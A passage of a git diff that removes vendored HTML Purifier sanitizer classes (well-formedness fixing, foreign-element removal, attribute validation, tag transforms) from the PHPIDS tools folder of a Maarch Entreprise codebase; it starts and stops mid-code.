again. - $size = count($tokens); - while ($i < $size and !$tokens[$i] instanceof HTMLPurifier_Token_Start) { - if ($tokens[$i] instanceof HTMLPurifier_Token_End) { - // pop a token index off the stack if we ended a node - array_pop($stack); - // pop an exclusion lookup off exclusion stack if - // we ended node and that node had exclusions - if ($i == 0 || $i == $size - 1) { - // use specialized var if it's the super-parent - $s_excludes = $definition->info_parent_def->excludes; - } else { - $s_excludes = $definition->info[$tokens[$i]->name]->excludes; - } - if ($s_excludes) { - array_pop($exclude_stack); - } - } - $i++; - } - - } - - //####################################################################// - // Post-processing - - // remove implicit parent tokens at the beginning and end - array_shift($tokens); - array_pop($tokens); - - // remove context variables - $context->destroy('IsInline'); - $context->destroy('CurrentToken'); - - //####################################################################// - // Return - - return $tokens; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/MakeWellFormed.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/MakeWellFormed.php deleted file mode 100755 index 9581a5133a915e8640144f9eb473d00bc85b0d5d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/MakeWellFormed.php +++ /dev/null @@ -1,532 +0,0 @@ -<?php - -/** - * Takes tokens makes them well-formed (balance end tags, etc.) - * - * Specification of the armor attributes this strategy uses: - * - * - MakeWellFormed_TagClosedError: This armor field is used to - * suppress tag closed errors for certain tokens [TagClosedSuppress], - * in particular, if a tag was generated automatically by HTML - * Purifier, we may rely on our infrastructure to close it for us - * and shouldn't report an error to the user [TagClosedAuto]. - */ -class HTMLPurifier_Strategy_MakeWellFormed extends HTMLPurifier_Strategy -{ - - /** - * Array stream of tokens being processed. - */ - protected $tokens; - - /** - * Current index in $tokens. - */ - protected $t; - - /** - * Current nesting of elements. - */ - protected $stack; - - /** - * Injectors active in this stream processing. - */ - protected $injectors; - - /** - * Current instance of HTMLPurifier_Config. - */ - protected $config; - - /** - * Current instance of HTMLPurifier_Context. - */ - protected $context; - - public function execute($tokens, $config, $context) { - - $definition = $config->getHTMLDefinition(); - - // local variables - $generator = new HTMLPurifier_Generator($config, $context); - $escape_invalid_tags = $config->get('Core.EscapeInvalidTags'); - // used for autoclose early abortion - $global_parent_allowed_elements = array(); - if (isset($definition->info[$definition->info_parent])) { - // may be unset under testing circumstances - $global_parent_allowed_elements = $definition->info[$definition->info_parent]->child->getAllowedElements($config); - } - $e = $context->get('ErrorCollector', true); - $t = false; // token index - $i = false; // injector index - $token = false; // the current token - $reprocess = false; // whether or not to reprocess the same token - $stack = array(); - - // member variables - $this->stack =& $stack; - $this->t =& $t; - $this->tokens =& $tokens; - $this->config = $config; - $this->context = $context; - - // context variables - $context->register('CurrentNesting', $stack); - $context->register('InputIndex', $t); - $context->register('InputTokens', $tokens); - $context->register('CurrentToken', $token); - - // -- begin INJECTOR -- - - $this->injectors = array(); - - $injectors = $config->getBatch('AutoFormat'); - $def_injectors = $definition->info_injector; - $custom_injectors = $injectors['Custom']; - unset($injectors['Custom']); // special case - foreach ($injectors as $injector => $b) { - // XXX: Fix with a legitimate lookup table of enabled filters - if (strpos($injector, '.') !== false) continue; - $injector = "HTMLPurifier_Injector_$injector"; - if (!$b) continue; - $this->injectors[] = new $injector; - } - foreach ($def_injectors as $injector) { - // assumed to be objects - $this->injectors[] = $injector; - } - foreach ($custom_injectors as $injector) { - if (!$injector) continue; - if (is_string($injector)) { - $injector = "HTMLPurifier_Injector_$injector"; - $injector = new $injector; - } - $this->injectors[] = $injector; - } - - // give the injectors references to the definition and context - // variables for performance reasons - foreach ($this->injectors as $ix => $injector) { - $error = $injector->prepare($config, $context); - if (!$error) continue; - array_splice($this->injectors, $ix, 1); // rm the injector - trigger_error("Cannot enable {$injector->name} injector because $error is not allowed", E_USER_WARNING); - } - - // -- end INJECTOR -- - - // a note on reprocessing: - // In order to reduce code duplication, whenever some code needs - // to make HTML changes in order to make things "correct", the - // new HTML gets sent through the purifier, regardless of its - // status. This means that if we add a start token, because it - // was totally necessary, we don't have to update nesting; we just - // punt ($reprocess = true; continue;) and it does that for us. - - // isset is in loop because $tokens size changes during loop exec - for ( - $t = 0; - $t == 0 || isset($tokens[$t - 1]); - // only increment if we don't need to reprocess - $reprocess ? $reprocess = false : $t++ - ) { - - // check for a rewind - if (is_int($i) && $i >= 0) { - // possibility: disable rewinding if the current token has a - // rewind set on it already. This would offer protection from - // infinite loop, but might hinder some advanced rewinding. - $rewind_to = $this->injectors[$i]->getRewind(); - if (is_int($rewind_to) && $rewind_to < $t) { - if ($rewind_to < 0) $rewind_to = 0; - while ($t > $rewind_to) { - $t--; - $prev = $tokens[$t]; - // indicate that other injectors should not process this token, - // but we need to reprocess it - unset($prev->skip[$i]); - $prev->rewind = $i; - if ($prev instanceof HTMLPurifier_Token_Start) array_pop($this->stack); - elseif ($prev instanceof HTMLPurifier_Token_End) $this->stack[] = $prev->start; - } - } - $i = false; - } - - // handle case of document end - if (!isset($tokens[$t])) { - // kill processing if stack is empty - if (empty($this->stack)) break; - - // peek - $top_nesting = array_pop($this->stack); - $this->stack[] = $top_nesting; - - // send error [TagClosedSuppress] - if ($e && !isset($top_nesting->armor['MakeWellFormed_TagClosedError'])) { - $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', $top_nesting); - } - - // append, don't splice, since this is the end - $tokens[] = new HTMLPurifier_Token_End($top_nesting->name); - - // punt! - $reprocess = true; - continue; - } - - $token = $tokens[$t]; - - //echo '<br>'; printTokens($tokens, $t); printTokens($this->stack); - //flush(); - - // quick-check: if it's not a tag, no need to process - if (empty($token->is_tag)) { - if ($token instanceof HTMLPurifier_Token_Text) { - foreach ($this->injectors as $i => $injector) { - if (isset($token->skip[$i])) continue; - if ($token->rewind !== null && $token->rewind !== $i) continue; - $injector->handleText($token); - $this->processToken($token, $i); - $reprocess = true; - break; - } - } - // another possibility is a comment - continue; - } - - if (isset($definition->info[$token->name])) { - $type = $definition->info[$token->name]->child->type; - } else { - $type = false; // Type is unknown, treat accordingly - } - - // quick tag checks: anything that's *not* an end tag - $ok = false; - if ($type === 'empty' && $token instanceof HTMLPurifier_Token_Start) { - // claims to be a start tag but is empty - $token = new HTMLPurifier_Token_Empty($token->name, $token->attr, $token->line, $token->col, $token->armor); - $ok = true; - } elseif ($type && $type !== 'empty' && $token instanceof HTMLPurifier_Token_Empty) { - // claims to be empty but really is a start tag - $this->swap(new HTMLPurifier_Token_End($token->name)); - $this->insertBefore(new HTMLPurifier_Token_Start($token->name, $token->attr, $token->line, $token->col, $token->armor)); - // punt (since we had to modify the input stream in a non-trivial way) - $reprocess = true; - continue; - } elseif ($token instanceof HTMLPurifier_Token_Empty) { - // real empty token - $ok = true; - } elseif ($token instanceof HTMLPurifier_Token_Start) { - // start tag - - // ...unless they also have to close their parent - if (!empty($this->stack)) { - - // Performance note: you might think that it's rather - // inefficient, recalculating the autoclose information - // for every tag that a token closes (since when we - // do an autoclose, we push a new token into the - // stream and then /process/ that, before - // re-processing this token.) But this is - // necessary, because an injector can make an - // arbitrary transformations to the autoclosing - // tokens we introduce, so things may have changed - // in the meantime. Also, doing the inefficient thing is - // "easy" to reason about (for certain perverse definitions - // of "easy") - - $parent = array_pop($this->stack); - $this->stack[] = $parent; - - if (isset($definition->info[$parent->name])) { - $elements = $definition->info[$parent->name]->child->getAllowedElements($config); - $autoclose = !isset($elements[$token->name]); - } else { - $autoclose = false; - } - - if ($autoclose && $definition->info[$token->name]->wrap) { - // Check if an element can be wrapped by another - // element to make it valid in a context (for - // example, <ul><ul> needs a <li> in between) - $wrapname = $definition->info[$token->name]->wrap; - $wrapdef = $definition->info[$wrapname]; - $elements = $wrapdef->child->getAllowedElements($config); - $parent_elements = $definition->info[$parent->name]->child->getAllowedElements($config); - if (isset($elements[$token->name]) && isset($parent_elements[$wrapname])) { - $newtoken = new HTMLPurifier_Token_Start($wrapname); - $this->insertBefore($newtoken); - $reprocess = true; - continue; - } - } - - $carryover = false; - if ($autoclose && $definition->info[$parent->name]->formatting) { - $carryover = true; - } - - if ($autoclose) { - // check if this autoclose is doomed to fail - // (this rechecks $parent, which his harmless) - $autoclose_ok = isset($global_parent_allowed_elements[$token->name]); - if (!$autoclose_ok) { - foreach ($this->stack as $ancestor) { - $elements = $definition->info[$ancestor->name]->child->getAllowedElements($config); - if (isset($elements[$token->name])) { - $autoclose_ok = true; - break; - } - if ($definition->info[$token->name]->wrap) { - $wrapname = $definition->info[$token->name]->wrap; - $wrapdef = $definition->info[$wrapname]; - $wrap_elements = $wrapdef->child->getAllowedElements($config); - if (isset($wrap_elements[$token->name]) && isset($elements[$wrapname])) { - $autoclose_ok = true; - break; - } - } - } - } - if ($autoclose_ok) { - // errors need to be updated - $new_token = new HTMLPurifier_Token_End($parent->name); - $new_token->start = $parent; - if ($carryover) { - $element = clone $parent; - // [TagClosedAuto] - $element->armor['MakeWellFormed_TagClosedError'] = true; - $element->carryover = true; - $this->processToken(array($new_token, $token, $element)); - } else { - $this->insertBefore($new_token); - } - // [TagClosedSuppress] - if ($e && !isset($parent->armor['MakeWellFormed_TagClosedError'])) { - if (!$carryover) { - $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', $parent); - } else { - $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $parent); - } - } - } else { - $this->remove(); - } - $reprocess = true; - continue; - } - - } - $ok = true; - } - - if ($ok) { - foreach ($this->injectors as $i => $injector) { - if (isset($token->skip[$i])) continue; - if ($token->rewind !== null && $token->rewind !== $i) continue; - $injector->handleElement($token); - $this->processToken($token, $i); - $reprocess = true; - break; - } - if (!$reprocess) { - // ah, nothing interesting happened; do normal processing - $this->swap($token); - if ($token instanceof HTMLPurifier_Token_Start) { - $this->stack[] = $token; - } elseif ($token instanceof HTMLPurifier_Token_End) { - throw new HTMLPurifier_Exception('Improper handling of end tag in start code; possible error in MakeWellFormed'); - } - } - continue; - } - - // sanity check: we should be dealing with a closing tag - if (!$token instanceof HTMLPurifier_Token_End) { - throw new HTMLPurifier_Exception('Unaccounted for tag token in input stream, bug in HTML Purifier'); - } - - // make sure that we have something open - if (empty($this->stack)) { - if ($escape_invalid_tags) { - if ($e) $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text'); - $this->swap(new HTMLPurifier_Token_Text( - $generator->generateFromToken($token) - )); - } else { - $this->remove(); - if ($e) $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed'); - } - $reprocess = true; - continue; - } - - // first, check for the simplest case: everything closes neatly. - // Eventually, everything passes through here; if there are problems - // we modify the input stream accordingly and then punt, so that - // the tokens get processed again. - $current_parent = array_pop($this->stack); - if ($current_parent->name == $token->name) { - $token->start = $current_parent; - foreach ($this->injectors as $i => $injector) { - if (isset($token->skip[$i])) continue; - if ($token->rewind !== null && $token->rewind !== $i) continue; - $injector->handleEnd($token); - $this->processToken($token, $i); - $this->stack[] = $current_parent; - $reprocess = true; - break; - } - continue; - } - - // okay, so we're trying to close the wrong tag - - // undo the pop previous pop - $this->stack[] = $current_parent; - - // scroll back the entire nest, trying to find our tag. - // (feature could be to specify how far you'd like to go) - $size = count($this->stack); - // -2 because -1 is the last element, but we already checked that - $skipped_tags = false; - for ($j = $size - 2; $j >= 0; $j--) { - if ($this->stack[$j]->name == $token->name) { - $skipped_tags = array_slice($this->stack, $j); - break; - } - } - - // we didn't find the tag, so remove - if ($skipped_tags === false) { - if ($escape_invalid_tags) { - $this->swap(new HTMLPurifier_Token_Text( - $generator->generateFromToken($token) - )); - if ($e) $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text'); - } else { - $this->remove(); - if ($e) $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed'); - } - $reprocess = true; - continue; - } - - // do errors, in REVERSE $j order: a,b,c with </a></b></c> - $c = count($skipped_tags); - if ($e) { - for ($j = $c - 1; $j > 0; $j--) { - // notice we exclude $j == 0, i.e. the current ending tag, from - // the errors... [TagClosedSuppress] - if (!isset($skipped_tags[$j]->armor['MakeWellFormed_TagClosedError'])) { - $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', $skipped_tags[$j]); - } - } - } - - // insert tags, in FORWARD $j order: c,b,a with </a></b></c> - $replace = array($token); - for ($j = 1; $j < $c; $j++) { - // ...as well as from the insertions - $new_token = new HTMLPurifier_Token_End($skipped_tags[$j]->name); - $new_token->start = $skipped_tags[$j]; - array_unshift($replace, $new_token); - if (isset($definition->info[$new_token->name]) && $definition->info[$new_token->name]->formatting) { - // [TagClosedAuto] - $element = clone $skipped_tags[$j]; - $element->carryover = true; - $element->armor['MakeWellFormed_TagClosedError'] = true; - $replace[] = $element; - } - } - $this->processToken($replace); - $reprocess = true; - continue; - } - - $context->destroy('CurrentNesting'); - $context->destroy('InputTokens'); - $context->destroy('InputIndex'); - $context->destroy('CurrentToken'); - - unset($this->injectors, $this->stack, $this->tokens, $this->t); - return $tokens; - } - - /** - * Processes arbitrary token values for complicated substitution patterns. - * In general: - * - * If $token is an array, it is a list of tokens to substitute for the - * current token. These tokens then get individually processed. If there - * is a leading integer in the list, that integer determines how many - * tokens from the stream should be removed. - * - * If $token is a regular token, it is swapped with the current token. - * - * If $token is false, the current token is deleted. - * - * If $token is an integer, that number of tokens (with the first token - * being the current one) will be deleted. - * - * @param $token Token substitution value - * @param $injector Injector that performed the substitution; default is if - * this is not an injector related operation. - */ - protected function processToken($token, $injector = -1) { - - // normalize forms of token - if (is_object($token)) $token = array(1, $token); - if (is_int($token)) $token = array($token); - if ($token === false) $token = array(1); - if (!is_array($token)) throw new HTMLPurifier_Exception('Invalid token type from injector'); - if (!is_int($token[0])) array_unshift($token, 1); - if ($token[0] === 0) throw new HTMLPurifier_Exception('Deleting zero tokens is not valid'); - - // $token is now an array with the following form: - // array(number nodes to delete, new node 1, new node 2, ...) - - $delete = array_shift($token); - $old = array_splice($this->tokens, $this->t, $delete, $token); - - if ($injector > -1) { - // determine appropriate skips - $oldskip = isset($old[0]) ? $old[0]->skip : array(); - foreach ($token as $object) { - $object->skip = $oldskip; - $object->skip[$injector] = true; - } - } - - } - - /** - * Inserts a token before the current token. Cursor now points to - * this token. You must reprocess after this. - */ - private function insertBefore($token) { - array_splice($this->tokens, $this->t, 0, array($token)); - } - - /** - * Removes current token. Cursor now points to new token occupying previously - * occupied space. You must reprocess after this. - */ - private function remove() { - array_splice($this->tokens, $this->t, 1); - } - - /** - * Swap current token with new token. Cursor points to new token (no - * change). You must reprocess after this. - */ - private function swap($token) { - $this->tokens[$this->t] = $token; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/RemoveForeignElements.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/RemoveForeignElements.php deleted file mode 100755 index 7da83141b46f9f7097f549838add03cc0a0fc132..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/RemoveForeignElements.php +++ /dev/null @@ -1,171 +0,0 @@ -<?php - -/** - * Removes all unrecognized tags from the list of tokens. - * - * This strategy iterates through all the tokens and removes unrecognized - * tokens. If a token is not recognized but a TagTransform is defined for - * that element, the element will be transformed accordingly. - */ - -class HTMLPurifier_Strategy_RemoveForeignElements extends HTMLPurifier_Strategy -{ - - public function execute($tokens, $config, $context) { - $definition = $config->getHTMLDefinition(); - $generator = new HTMLPurifier_Generator($config, $context); - $result = array(); - - $escape_invalid_tags = $config->get('Core.EscapeInvalidTags'); - $remove_invalid_img = $config->get('Core.RemoveInvalidImg'); - - // currently only used to determine if comments should be kept - $trusted = $config->get('HTML.Trusted'); - - $remove_script_contents = $config->get('Core.RemoveScriptContents'); - $hidden_elements = $config->get('Core.HiddenElements'); - - // remove script contents compatibility - if ($remove_script_contents === true) { - $hidden_elements['script'] = true; - } elseif ($remove_script_contents === false && isset($hidden_elements['script'])) { - unset($hidden_elements['script']); - } - - $attr_validator = new HTMLPurifier_AttrValidator(); - - // removes tokens until it reaches a closing tag with its value - $remove_until = false; - - // converts comments into text tokens when this is equal to a tag name - $textify_comments = false; - - $token = false; - $context->register('CurrentToken', $token); - - $e = false; - if ($config->get('Core.CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - - foreach($tokens as $token) { - if ($remove_until) { - if (empty($token->is_tag) || $token->name !== $remove_until) { - continue; - } - } - if (!empty( $token->is_tag )) { - // DEFINITION CALL - - // before any processing, try to transform the element - if ( - isset($definition->info_tag_transform[$token->name]) - ) { - $original_name = $token->name; - // there is a transformation for this tag - // DEFINITION CALL - $token = $definition-> - info_tag_transform[$token->name]-> - transform($token, $config, $context); - if ($e) $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', $original_name); - } - - if (isset($definition->info[$token->name])) { - - // mostly everything's good, but - // we need to make sure required attributes are in order - if ( - ($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) && - $definition->info[$token->name]->required_attr && - ($token->name != 'img' || $remove_invalid_img) // ensure config option still works - ) { - $attr_validator->validateToken($token, $config, $context); - $ok = true; - foreach ($definition->info[$token->name]->required_attr as $name) { - if (!isset($token->attr[$name])) { - $ok = false; - break; - } - } - if (!$ok) { - if ($e) $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Missing required attribute', $name); - continue; - } - $token->armor['ValidateAttributes'] = true; - } - - if (isset($hidden_elements[$token->name]) && $token instanceof HTMLPurifier_Token_Start) { - $textify_comments = $token->name; - } elseif ($token->name === $textify_comments && $token instanceof HTMLPurifier_Token_End) { - $textify_comments = false; - } - - } elseif ($escape_invalid_tags) { - // invalid tag, generate HTML representation and insert in - if ($e) $e->send(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); - $token = new HTMLPurifier_Token_Text( - $generator->generateFromToken($token) - ); - } else { - // check if we need to destroy all of the tag's children - // CAN BE GENERICIZED - if (isset($hidden_elements[$token->name])) { - if ($token instanceof HTMLPurifier_Token_Start) { - $remove_until = $token->name; - } elseif ($token instanceof HTMLPurifier_Token_Empty) { - // do nothing: we're still looking - } else { - $remove_until = false; - } - if ($e) $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed'); - } else { - if ($e) $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); - } - continue; - } - } elseif ($token instanceof HTMLPurifier_Token_Comment) { - // textify comments in script tags when they are allowed - if ($textify_comments !== false) { - $data = $token->data; - $token = new HTMLPurifier_Token_Text($data); - } elseif ($trusted) { - // keep, but perform comment cleaning - if ($e) { - // perform check whether or not there's a trailing hyphen - if (substr($token->data, -1) == '-') { - $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed'); - } - } - $token->data = rtrim($token->data, '-'); - $found_double_hyphen = false; - while (strpos($token->data, '--') !== false) { - if ($e && !$found_double_hyphen) { - $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed'); - } - $found_double_hyphen = true; // prevent double-erroring - $token->data = str_replace('--', '-', $token->data); - } - } else { - // strip comments - if ($e) $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); - continue; - } - } elseif ($token instanceof HTMLPurifier_Token_Text) { - } else { - continue; - } - $result[] = $token; - } - if ($remove_until && $e) { - // we removed tokens until the end, throw error - $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', $remove_until); - } - - $context->destroy('CurrentToken'); - - return $result; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/ValidateAttributes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/ValidateAttributes.php deleted file mode 100755 index bcadacb4197f39aaa5d9072db7824b61d3b2017f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/ValidateAttributes.php +++ /dev/null @@ -1,39 +0,0 @@ -<?php - -/** - * Validate all attributes in the tokens. - */ - -class HTMLPurifier_Strategy_ValidateAttributes extends HTMLPurifier_Strategy -{ - - public function execute($tokens, $config, $context) { - - // setup validator - $validator = new HTMLPurifier_AttrValidator(); - - $token = false; - $context->register('CurrentToken', $token); - - foreach ($tokens as $key => $token) { - - // only process tokens that have attributes, - // namely start and empty tags - if (!$token instanceof HTMLPurifier_Token_Start && !$token instanceof HTMLPurifier_Token_Empty) continue; - - // skip tokens that are armored - if (!empty($token->armor['ValidateAttributes'])) continue; - - // note that we have no facilities here for removing tokens - $validator->validateToken($token, $config, $context); - - $tokens[$key] = $token; // for PHP 4 - } - $context->destroy('CurrentToken'); - - return $tokens; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHash.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHash.php deleted file mode 100755 index 465f4966e0d9ad0e465bd029b94f472e0994a013..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHash.php +++ /dev/null @@ -1,39 +0,0 @@ -<?php - -/** - * This is in almost every respect equivalent to an array except - * that it keeps track of which keys were accessed. - * - * @warning For the sake of backwards compatibility with early versions - * of PHP 5, you must not use the $hash[$key] syntax; if you do - * our version of offsetGet is never called. - */ -class HTMLPurifier_StringHash extends ArrayObject -{ - protected $accessed = array(); - - /** - * Retrieves a value, and logs the access. - */ - public function offsetGet($index) { - $this->accessed[$index] = true; - return parent::offsetGet($index); - } - - /** - * Returns a lookup array of all array indexes that have been accessed. - * @return Array in form array($index => true). - */ - public function getAccessed() { - return $this->accessed; - } - - /** - * Resets the access array. - */ - public function resetAccessed() { - $this->accessed = array(); - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php deleted file mode 100755 index 3a300158a76de9e35d631af456beae70730ef542..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php +++ /dev/null @@ -1,110 +0,0 @@ -<?php - -/** - * Parses string hash files. File format is as such: - * - * DefaultKeyValue - * KEY: Value - * KEY2: Value2 - * --MULTILINE-KEY-- - * Multiline - * value. - * - * Which would output something similar to: - * - * array( - * 'ID' => 'DefaultKeyValue', - * 'KEY' => 'Value', - * 'KEY2' => 'Value2', - * 'MULTILINE-KEY' => "Multiline\nvalue.\n", - * ) - * - * We use this as an easy to use file-format for configuration schema - * files, but the class itself is usage agnostic. - * - * You can use ---- to forcibly terminate parsing of a single string-hash; - * this marker is used in multi string-hashes to delimit boundaries. - */ -class HTMLPurifier_StringHashParser -{ - - public $default = 'ID'; - - /** - * Parses a file that contains a single string-hash. - */ - public function parseFile($file) { - if (!file_exists($file)) return false; - $fh = fopen($file, 'r'); - if (!$fh) return false; - $ret = $this->parseHandle($fh); - fclose($fh); - return $ret; - } - - /** - * Parses a file that contains multiple string-hashes delimited by '----' - */ - public function parseMultiFile($file) { - if (!file_exists($file)) return false; - $ret = array(); - $fh = fopen($file, 'r'); - if (!$fh) return false; - while (!feof($fh)) { - $ret[] = $this->parseHandle($fh); - } - fclose($fh); - return $ret; - } - - /** - * Internal parser that acepts a file handle. - * @note While it's possible to simulate in-memory parsing by using - * custom stream wrappers, if such a use-case arises we should - * factor out the file handle into its own class. - * @param $fh File handle with pointer at start of valid string-hash - * block. - */ - protected function parseHandle($fh) { - $state = false; - $single = false; - $ret = array(); - do { - $line = fgets($fh); - if ($line === false) break; - $line = rtrim($line, "\n\r"); - if (!$state && $line === '') continue; - if ($line === '----') break; - if (strncmp('--#', $line, 3) === 0) { - // Comment - continue; - } elseif (strncmp('--', $line, 2) === 0) { - // Multiline declaration - $state = trim($line, '- '); - if (!isset($ret[$state])) $ret[$state] = ''; - continue; - } elseif (!$state) { - $single = true; - if (strpos($line, ':') !== false) { - // Single-line declaration - list($state, $line) = explode(':', $line, 2); - $line = trim($line); - } else { - // Use default declaration - $state = $this->default; - } - } - if ($single) { - $ret[$state] = $line; - $single = false; - $state = false; - } else { - $ret[$state] .= "$line\n"; - } - } while (!feof($fh)); - return $ret; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform.php deleted file mode 100755 index d112b407e119b969f8626877caae5cac49c7595b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -/** - * Defines a mutation of an obsolete tag into a valid tag. - */ -abstract class HTMLPurifier_TagTransform -{ - - /** - * Tag name to transform the tag to. - */ - public $transform_to; - - /** - * Transforms the obsolete tag into the valid tag. - * @param $tag Tag to be transformed. - * @param $config Mandatory HTMLPurifier_Config object - * @param $context Mandatory HTMLPurifier_Context object - */ - abstract public function transform($tag, $config, $context); - - /** - * Prepends CSS properties to the style attribute, creating the - * attribute if it doesn't exist. - * @warning Copied over from AttrTransform, be sure to keep in sync - * @param $attr Attribute array to process (passed by reference) - * @param $css CSS to prepend - */ - protected function prependCSS(&$attr, $css) { - $attr['style'] = isset($attr['style']) ? $attr['style'] : ''; - $attr['style'] = $css . $attr['style']; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Font.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Font.php deleted file mode 100755 index 135828816739977e8140673dda083f51d3ffb5aa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Font.php +++ /dev/null @@ -1,98 +0,0 @@ -<?php - -/** - * Transforms FONT tags to the proper form (SPAN with CSS styling) - * - * This transformation takes the three proprietary attributes of FONT and - * transforms them into their corresponding CSS attributes. These are color, - * face, and size. - * - * @note Size is an interesting case because it doesn't map cleanly to CSS. - * Thanks to - * http://style.cleverchimp.com/font_size_intervals/altintervals.html - * for reasonable mappings. - * @warning This doesn't work completely correctly; specifically, this - * TagTransform operates before well-formedness is enforced, so - * the "active formatting elements" algorithm doesn't get applied. - */ -class HTMLPurifier_TagTransform_Font extends HTMLPurifier_TagTransform -{ - - public $transform_to = 'span'; - - protected $_size_lookup = array( - '0' => 'xx-small', - '1' => 'xx-small', - '2' => 'small', - '3' => 'medium', - '4' => 'large', - '5' => 'x-large', - '6' => 'xx-large', - '7' => '300%', - '-1' => 'smaller', - '-2' => '60%', - '+1' => 'larger', - '+2' => '150%', - '+3' => '200%', - '+4' => '300%' - ); - - public function transform($tag, $config, $context) { - - if ($tag instanceof HTMLPurifier_Token_End) { - $new_tag = clone $tag; - $new_tag->name = $this->transform_to; - return $new_tag; - } - - $attr = $tag->attr; - $prepend_style = ''; - - // handle color transform - if (isset($attr['color'])) { - $prepend_style .= 'color:' . $attr['color'] . ';'; - unset($attr['color']); - } - - // handle face transform - if (isset($attr['face'])) { - $prepend_style .= 'font-family:' . $attr['face'] . ';'; - unset($attr['face']); - } - - // handle size transform - if (isset($attr['size'])) { - // normalize large numbers - if ($attr['size'] !== '') { - if ($attr['size']{0} == '+' || $attr['size']{0} == '-') { - $size = (int) $attr['size']; - if ($size < -2) $attr['size'] = '-2'; - if ($size > 4) $attr['size'] = '+4'; - } else { - $size = (int) $attr['size']; - if ($size > 7) $attr['size'] = '7'; - } - } - if (isset($this->_size_lookup[$attr['size']])) { - $prepend_style .= 'font-size:' . - $this->_size_lookup[$attr['size']] . ';'; - } - unset($attr['size']); - } - - if ($prepend_style) { - $attr['style'] = isset($attr['style']) ? - $prepend_style . $attr['style'] : - $prepend_style; - } - - $new_tag = clone $tag; - $new_tag->name = $this->transform_to; - $new_tag->attr = $attr; - - return $new_tag; - - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Simple.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Simple.php deleted file mode 100755 index 4c4f22b8653841b148126dd34c3342cfb1f3bfbc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Simple.php +++ /dev/null @@ -1,35 +0,0 @@ -<?php - -/** - * Simple transformation, just change tag name to something else, - * and possibly add some styling. This will cover most of the deprecated - * tag cases. - */ -class HTMLPurifier_TagTransform_Simple extends HTMLPurifier_TagTransform -{ - - protected $style; - - /** - * @param $transform_to Tag name to transform to. - * @param $style CSS style to add to the tag - */ - public function __construct($transform_to, $style = null) { - $this->transform_to = $transform_to; - $this->style = $style; - } - - public function transform($tag, $config, $context) 